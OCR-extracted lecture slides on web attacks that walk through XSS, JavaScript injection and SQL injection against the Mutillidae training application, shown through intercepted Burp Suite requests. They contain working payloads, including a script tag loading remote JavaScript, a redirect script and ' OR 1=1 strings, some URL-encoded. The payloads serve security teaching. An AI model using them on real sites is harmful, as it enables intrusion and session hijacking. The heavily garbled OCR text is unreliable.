Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Not Logged In

Toggle
Security

View Captured
Data

Toggle

Home Hints

Login/Register

OWASP Top 10 4

e

Site
hacked...err...quality-
tested with Samurail

AT P alibn -

NWW.OWASP.OMG jre

DNS Lookup

Who would you like to do a DNS lookup
on?

Enter IP or hostname

Hostname/IP script>alert(Opps’)

Lookup DNS

Results for www.google.com

</scrpt>

Match case

PHPSESSID=2858f079%9aeb6eaad4f60e4d2c8ecde/a?

rlencoded

Author: Prof Bill Buchanan
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Web Attacks

Burp Suite

»

127.0.0.1:8080

http: //10.200.0.47] /muti11idae/index. php?page=dns-1ookup

POST /mutillidae/index.php?page=dns-To
Host: 10.200.0.47

User-Agent: Mozilla/5.0 (X11; Linux 16
Iceweasel/18.0.1

Accept: text/html,application/xhtml+x
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.200.0.47/mutillida
Cookie: PHPSESSID=2858f079ae6eaad4f60e
Connection: keep-alive

Content-Type: application/x-www-form-u
Content-Length: 62
target_host=<script>var link=document.

«' Connecting
o vQ 8-

M) Most Visitedv [l]Offensive Security '\ Kali Linux '\ Kali Docs KMExploit-DB Wy Aircrack-ng

10.200.0.47

Q}@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Not Logged In

Toggle
Security

Toggle
Hints

View Captured

Home Data

LoginwRegister

OWASP Top 10 4

DNS Lookup

Who would you like to do a DNS lookup
on?

Enter IP or hostname

©

Hostname/IP

script>alert(Opps’).</script>
Lookup DNS

Results for www.google.com

-

Site
hacked...err...quality-
tested with Samurai

e ﬁ""._"‘(.

NW.OWasp.org ite
.

Matgch case

4d2c8ecde’a?2
rlencoded

getElementsByTagName("a");

1ink[0] .href="http://bbc.co.uk"</script>&dns-1ookup-php-submit-button=Lookup+DNS

Author: Prof Bill Buchanan

Web scanning




Code Injection
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Burp Suite

127.0.0.1:8080

«' Connecting

http: //10.200.0.47] /muti 11idae/index. php?page=dns—Tookup % 10.200.0.47 . v 0 (B~

%) Most Visitedv [f]Offensive Security '\ Kali Linux \ Kali Docs KBExploit-DB W Aircrack-ng

Q}@ Mutillidae: Born to be Hacked

function Redirect () { Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Not Logged In
window. Tocation="http://asecuritysite.com/oops.html"; PR Toggie T == View el
¥ SR Hints Security DB Log Data

setTimeout ('Redirect()', 100);
DNS Lookup |

Who would you like to do a DNS lookup

POST /mutillidae/index.php?page=dns-T1c =t

Host: 10.200.0.47
User-Agent: Mozilla/5.0 (X11; Linux 16
Iceweasel/18.0.1 s

Accept: text/html,application/xhtml+x site

Accept-Language: en-US,en;q=0.5 DaCICRd . T QU

Accept-Encoding: gzip, deflate TT— e T e
Referer: http://10.200.0.47/mutillida Match cn
Cookie: PHPSESSID=2858f079ae6eaad4f60ed4d2c8ecde’/a?

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

target_host=<script src="http://192.168.0.1/test. js"></script>&dns-1ookup-php-submit-

button=Lookup+DNS

Enter IP or hostname

©

Hostname/IP script>alert(Opps’).</script>

Web Attacks

Author: Prof Bill Buchanan




Web Attacks

Host: 10.200.0.47 Do,
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox
html,application/xhtml+xml ,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5

[Accept—Encoding: gzip, deflate Hostname/IP
Referer: http://10.200.0.47/mutillidae/

: GET /mutillidae/index.php?page=password-generator.php&username=anonymous H| *"" x \vzj Back

Burp Suite

127.0.0.1:8080

http://[IP META]/mutillidae/index.php?page=password-generator.php&username=anonymous

o Connecting |
e 10.200.047 vQ Bv

WMost Visitedv  [lOffensive Security \ Kali Uinux  \ Kali Docs [BExplont-D8 Wy Aircrack-ng

* Mutillidae: Born to be Hacked

Version: 2.1.19 Security Levek 0 (Hosed) Hints: Disabled (O - | try harder)
Not Logged In

; Toggle Toggle Reset View View Captured
Home  Logia/Register Hints Security DB Log A

A

Core Controls

OWASP Top 10

Who would you like to do a DNS lookup
on?

Enter IP or hostna

ptal

Cookie: PHPSESSID=2858f079aebeaad4f60edd2c8ecdera?2
Connection: keep-aliveIf-Modified-Since: Sun, 25 May 2014 19:48:33 GMT - sl T T,

GET /mutillidae/index.php?page=password-generator.php&username= HTTP/1.1
Host: 10.200.0.47

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1Accept: text/
htm1,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.200.0.47/mutillidae/

Cookie: PHPSESSID=2858f079%9aebeaad4f60ed4d2c8ecde’a?

Connection: keep-aliveIf-Modified-Since: Sun, 25 May 2014 19:48:33 GMT

Web scanning



Burp Suite

127.0.0.1:8080

http://[IP META]/muti11idae/index.php?page=password-generator.php&username=anonymous

o Connecting
e} 10.200.0.47 vQ Bv

WMost Visitedv  [lJOffensive Security '\ Kali Linux '\ Kali Docs  EBExplon-D8 Wy Aircrack-ng

| @ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Levek: 0 (Hosed) Hints: Disabled (0 - | try harder)
Not Logged In

Toggle Toggle View Captured
Hints Security Data

] I [ DNS Lookup

Home  Login/Register

§ http://10.200 Target | Prowy | Spuder | Scanner | intruder | Repeater | Sequencer | Decoder |[Comparar, | Options | Merts OWASP Top 10 >

\
~ 1¢ .0 4 Back
This function lets you 9o & word- or byte-devel comparison between dfferent data You can load. paste, o send data here from other tosls and then select ¥

S Most Visitedv COMPanson you want to perform

Calart Mam Who would you like to do a DNS lookup
Word compare of #5 and #6 (6 differences) on?

Length: 24,291

Enter IP or hostname

valse='Generate” onchche"onSubmeOfGener atorf

Hostname/IP scrpt>alert(Opps ) </script>

A GetElementBytdiiBUsernameinput’) innerHTML = <tr><td><pd><pr> -

“This password is for RGN <tadle> E—
Yeatcel( Lookup DNS
alerti™Errer * + @ messagel 1o hacked...err...quality-

M/ end catch x> tested with Samural
-~

document getEiementByid"dUsernameinput) innerHTML Hps [www.owasp.ofg jog. Resuits for www.google.com
- CanaY"
Match case
slenti"Errer * + @ message
Mt end catch

newest version of

phoTpage=sec
. w class="footer">

tested with !
WTF, Backi!
Firefox, Bury
Netcat, and
Modzilla Ad¢

Web Attacks

O
Author: Prof Bill Buchanan
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Web Attacks

Burp Suite

127.0.0.1:8080

http://[IP META]/mutillidae/index.php?page=password-generator.php&username=anonymous

o Connecting |
e 10.200.047 vQ Bv

WMost Visitedv  [lOffensive Security \ Kali Uinux  \ Kali Docs [BExplont-D8 Wy Aircrack-ng

* Mutillidae: Born to be Hacked

Version: 2.1.19 Security Levek 0 (Hosed) Hints: Disabled (O - | try harder)
Not Logged In

; Toggle Toggle Reset View View Captured
Home  Logia/Register Hints Security DB Log A

Core Controls 4
try ===
document.getElementById("idUsernameInput"”).innerHTML = "This password [ % d \Vzﬂ Back
}Catch (e) { Documentation  *
alert("Error: " + e.message); Resources ) Who would you like to do a DNS lookup

on?

1// end catch

</script> Enter IP or hostna

Burp suite

Hostname/IP proal

[ Resusforwwwgoogecom 1
";} catch (e) {} alert(0); try { a=" :

try{

document.getElementById("idUsernameInput™). innerHTML = "This password is for ";} catch (e) {} a1ert(0); try { a="

“}catch(e){

alert("Error: " + e.message);

}// end catch
%2 2%3b%7 d62 0946 376197 4766 3266 8%2 092 8%6 5%2 9%2 0767 b%/7 d
%2 02661966 %6 5%7 297 4%2 8%3 092 9%3b%2 007 4%7 2%7 9%62 0%/ b Bill Buchanan
%209%61%3d%22%20
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SQL Injection
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. Burp stuite _

Web Attacks

http://192.168.190.135/mutillidae ‘

Burp Suite

127.0.0.1:8080

GET /mutillidae/index.php?page=user-info.php&username=bil1&password=fred&user-info-php-
submit-button=View+Account+Details HTTP/1.1

Host: 10.200.0.47

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox,/18.0 Iceweasel/
18.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;9=0.8

Accept-Language: en-US,en;q=0.5

| Accept-Encoding: gzip, deflate

ranlaa:s chAaulrban+sc=2: DUDCECETNRIQEQFNTAAAR AR~ AN FENAAAYAQRARNATAD

SELECT * FROM accounts WHERE username=’$admin’ AND password=’$pass’

SELECT * FROM accounts WHERE username=’admin’ AND password=’password’

SELECT * FROM accounts WHERE username=’admin’ AND password=’’ OR 1==1

%20%27%20%4T%52%20%31%3d%31%20%2d%2d%20

AUthor: Prof Bill Buchanan
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Web Attacks

e Metasploitable 2.

e Understand how to use proxies to incept and change Web
communications.

e Threats: Backdoors, Dictionary Attacks, Code Injections, SQL
Injection, and Link Modifications

Author: Prof Bill Buchanan




